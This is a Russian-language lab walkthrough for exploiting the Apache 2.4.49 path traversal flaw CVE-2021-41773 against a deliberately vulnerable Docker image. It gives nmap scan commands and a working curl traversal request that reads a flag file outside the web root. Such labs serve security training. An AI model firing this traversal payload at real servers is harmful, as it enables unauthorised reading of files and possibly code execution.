
Практическая лаборатория по эксплуатации обхода пути в Apache 2.4.49 (CVE-2021-41773) с использованием Docker, сканирования Nmap и curl для получения флага.
Была обнаружена ошибка в изменении, внесённом в нормализацию путей в Apache HTTP Server 2.4.49. Злоумышленник мог использовать атаку с обходом пути (path traversal), чтобы сопоставлять URL-адреса с файлами за пределами каталогов, настроенных директивами типа Alias. Если файлы за пределами этих каталогов не защищены обычной конфигурацией по умолчанию "require all denied", такие запросы могут быть успешными. Если для этих псевдонимов также включены CGI-скрипты, это может привести к удалённому выполнению кода. Эта проблема затрагивает только Apache 2.4.49 и не затрагивает более ранние версии.
Введение в кредиты: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
Цель упражнения — использовать уязвимость, присутствующую в Apache 2.4.49. Чтобы использовать её, необходимо применить "path traversal attack" для сопоставления файлов за пределами предварительно настроенных папок и создать своего рода удалённую оболочку (remote shell).
Для упражнения удобно использовать специальный уязвимый docker, доступный на docker hub:
Ссылка: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

Чтобы увидеть образы docker, которые были скачаны:
$docker images
Запустить docker на порту 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
Чтобы убедиться, что он действительно запущен:
$docker ps

Как видно, веб-сервер полностью функционирует:

Этап сканирования (пытаемся собрать как можно больше информации об хосте):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

Этап перечисления (пытаемся углубить информацию, перечисляя порты, найденные на этапе сканирования):
$nmap -sV -sC -oA versionScan localhost

Чтобы выполнить атаку, необходимо запустить эту команду и попытаться найти флаг (если он размещён в root):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

Чтобы убедиться, что упражнение выполнено успешно и что флаг действительно тот, который был найден, сравните строку с её расшифровкой в Md5 ("HaiTrovatoLaFlag_Apache"). Если две строки совпадают, то всё готово!